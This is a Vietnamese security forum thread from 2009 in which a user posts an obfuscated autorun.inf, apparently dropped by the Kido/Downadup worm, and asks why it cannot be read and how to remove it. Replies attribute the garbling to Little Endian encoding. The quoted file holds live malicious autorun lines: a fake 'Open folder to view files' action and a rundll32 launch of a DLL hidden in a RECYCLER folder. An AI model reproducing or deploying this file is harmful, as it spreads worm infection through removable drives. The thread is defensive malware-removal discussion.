qOSwnxUNhptx = lAIlIk
; ¾I
;ɏˆt” p‚l—aLðC¸
 
Mju = vVJZKU
 aKzDuWa=DGoEhWzHevcrUgVOgU 



WxgnPqHIKwUXT= jUuffXWfJcSryqSfbtjvRPli
;lÁxô¤zp¼FÀéH©³Tl
;¤YfÀ¯ñ¡rþ³çxqleerîHü™T£ 



; HsVqDV›dbó
;pÛGÁÅÉhi¡ûEúKrÆgMXJµÔ‘¥s

QMgUwjxhRhcnFQC=ywoAScVrDlT  
; „uXJÖwÌÂŽuÆøѬPK¨UµVIÆ™AodôWE ¨zÞVJáÓàeûý
;
lAXDfZvmZRjUEDzIlmeksW=yCQiQKQueOpunGxbz  


pKjnXQFpKXMqKfjlCSNgJW=xgIIkkIJRbcE 




;jpžzDßْ幌 



 [COLOR="red"][AUTorUN[/COLOR]

; ÅA¯˜ölÜŠq¦…tÎKVWœý¸¤¬
 [COLOR="red"]AcTION  =Open folder to view files[/COLOR]




 



 [COLOR="red"]icon = %syStEmrOot%\sySTEM32\sHELL32.Dll ,4[/COLOR]


;­Pr×SoàDWWCfDnhTvVQyažã¾
;«GáÊ 


;qTJ¥·r€ÕoÍgwDqçÚJûKEí´û

[COLOR="Red"]shelLExECUte =RuNdLl32.EXE .\RECYCLER\S-5-3-42-2819952290-8240758988-879315005-3665\[/COLOR]jwgkvsq.vmx,ahaezedrn
; zD¾pl¿›cà½ÂuDbËyF½žÚG 


;f›yÊlÌÃèŠdGµBwAsUmF 
; »Ÿobz²q•GEìªiSøµväF˜Ø¤ò¼fîNŒDs± 



[COLOR="Red"]useAuTopLAY= 1[/COLOR]
; Fª†g•¿úoÖMÊc°­¹tYcÈìkdQeæØnD§äâÙrˆe…C¿ùlÝ„ôC  
 [ oiw] 



;

;ñ…Ïq¨YPhÖ‘±jHÙE¼€PšxEAb«¬µÞ˜ãñIzg›AÉdǸæĆ•‘bçÇ 
  blGkNaAOAStfJarztHQsDTE= X

;  

; Cnˆº´ðôãƒke´j÷gWÚ©ÖçJÇtþ¨iMUÒŽ‘çtáæVJd

;UNÜaBYùfsÊ c¢a’nGHP¯TpZ¢wo 
;ûÀzñIhMÖùîVÛXeäõÖrGa§”Z“FySÝIIUìHk¸¡ÍE®fWˆÞLÅ 

ljjpceByfnCqlEdvFuiQtTXOX = DsuZYNfdNfgLkgdubp 

;JYcGŽRügMÖçwœÛF¨kkZ¤½ZdCnd³JedsTÞýe


;  娦AsüNHnÝóZWn gíUK®ÞH›nX 


; HtEàGû¿†¶siâS‘‰dpšžöD‰ßX»ZeHòhC 

AHBpQMGeNELqWqgVFUI =thvu




 t=en


  


ZpmLWwdy=p 

;D³‡™½âafRýPÒeIòmsbLP×UdggÒÒ‚hÔE¹JFâi°¶BHhu

JirRwHUIcdygM =Dw 



 
yAPlzwzDWOQuOkdjb=fTwwFgsQkIuovohIAEhoMk
;J«O¨ƒ™ÏQ¿CþfCaz¸Âo‹
LkgTMQccsQukegpqMJbGmC= NiaNYPlDZlrMApJYhSxkUPAp 

; ÀSÆgZ†Yuf¾KösxaÞÛXàAcfEÿf«çj·lI½®¿zuÈÑqCýkDWVìFÏPoF¥bÞ™  
; 

; U‚XÖßvXé®o…¹AG±


 

 Df =EEKpaGzdkYcdqw


;   ‘úNѬiôpívCÃcRDm—BVh¤ôgaWRq³xAšenAGÝpZtnMG¶W
;HÖŠJxcâQ×nIãl‘UÉð‡ÐÚLŸch±îŸÇ–½Ë‚Ÿ 
;pgk³²h¶¾Yár—еa‚†ÂJDGlAkuy¯çSÝEofmj
  tYtGgOcpNmnREFeVOVYcmXi =BMlhoTHAdQ
wu =jgQDsI


;  
;‘ÃMC¤rALNÌmp 

;¦ßw‚µáîÊhbUKÂZÄÄÃlC³


  
 MEcDYfriSGlkppcZPDzO =O  


; 
 


Không tài nào đọc xuống bên dưới để tìm tới đúng tên Malware được.

autorun.inf này là của thằng Kido Downadup tạo ra.

Nhờ các bạn giải thích tại sao nó lại qua mặt được. Và cho mình biết cách khắc phục.

Cảm ơn.
IDM 5.18 http://tinyurl.com/pl2ejj | Quick Remove Malware http://tinyurl.com/lbbm9x - http://tinyurl.com/arna6g
[Up] [Print Copy]
  [Question]   [Đọc file autorun.inf bằng VB] Lỗi đọc file autorun.inf bị mã hóa ? 28/03/2009 23:01:54 (+0700) | #2 | 175094
[Avatar]
kamikazeq
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 03:20:53
Messages: 837
Location: Panic Malware Planet
Offline
[Profile] [PM] [Yahoo!]
Nội dung autorun ấy khi up lên hình như bị bỏ bớt.

Đây là file autorun.inf ấy để các bạn dễ theo dõi. http://www.mediafire.com/?omnbwmjuu33

-------------
Edited
Thử xóa hết nội dung rồi save nhưng vẫn còn dư lại 2 bytes này, không như file autorun bình thường (0 byte).



IDM 5.18 http://tinyurl.com/pl2ejj | Quick Remove Malware http://tinyurl.com/lbbm9x - http://tinyurl.com/arna6g
[Up] [Print Copy]
  [Question]   [Đọc file autorun.inf bằng VB] Lỗi đọc file autorun.inf bị mã hóa ? 29/03/2009 07:30:09 (+0700) | #3 | 175150
[Avatar]
bolzano_1989
Journalist

[Minus]    0    [Plus]
Joined: 30/01/2007 12:49:15
Messages: 1406
Offline
[Profile] [PM]

kamikazeq wrote:

Thử xóa hết nội dung rồi save nhưng vẫn còn dư lại 2 bytes này, không như file autorun bình thường (0 byte).



 

Hì hì, có cài điều lạ lùng này vì nó bị encode Little Endian . kamikazeq dùng notepad++ mở ,format => convert to utf-8 hay ANSI là sẽ bình thường smilie .
Kiểm tra các file bạn nghi ngờ có virus:
http://goo.gl/m3Fb6C
http://goo.gl/EqaZt
http://goo.gl/gEF8e
Nhận mẫu virus qua FB: http://goo.gl/70Xo23
HVA Malware Response Team: kiemtravirus@gmail.com
Trợ giúp diệt virus: http://goo.gl/2bqxY
[Up] [Print Copy]
  [Question]   Re: [Đọc file autorun.inf bằng VB] Lỗi đọc file autorun.inf bị mã hóa ? 29/03/2009 07:40:36 (+0700) | #4 | 175151
[Avatar]
bolzano_1989
Journalist

[Minus]    0    [Plus]
Joined: 30/01/2007 12:49:15
Messages: 1406
Offline
[Profile] [PM]
Mình nghĩ bồ nên tìm hiểu về Encoding và các cách hoán chuyển , sẽ đọc được file bằng lệnh trên thôi .
Kiểm tra các file bạn nghi ngờ có virus:
http://goo.gl/m3Fb6C
http://goo.gl/EqaZt
http://goo.gl/gEF8e
Nhận mẫu virus qua FB: http://goo.gl/70Xo23
HVA Malware Response Team: kiemtravirus@gmail.com
Trợ giúp diệt virus: http://goo.gl/2bqxY
[Up] [Print Copy]
  [Question]   Re: [Đọc file autorun.inf bằng VB] Lỗi đọc file autorun.inf bị mã hóa ? 09/04/2009 14:54:04 (+0700) | #5 | 176330
[Avatar]
kamikazeq
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 03:20:53
Messages: 837
Location: Panic Malware Planet
Offline
[Profile] [PM] [Yahoo!]
Có lời giải rồi nè.
http://www.virusvn.com/forum/showthread.php?t=1059
IDM 5.18 http://tinyurl.com/pl2ejj | Quick Remove Malware http://tinyurl.com/lbbm9x - http://tinyurl.com/arna6g
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|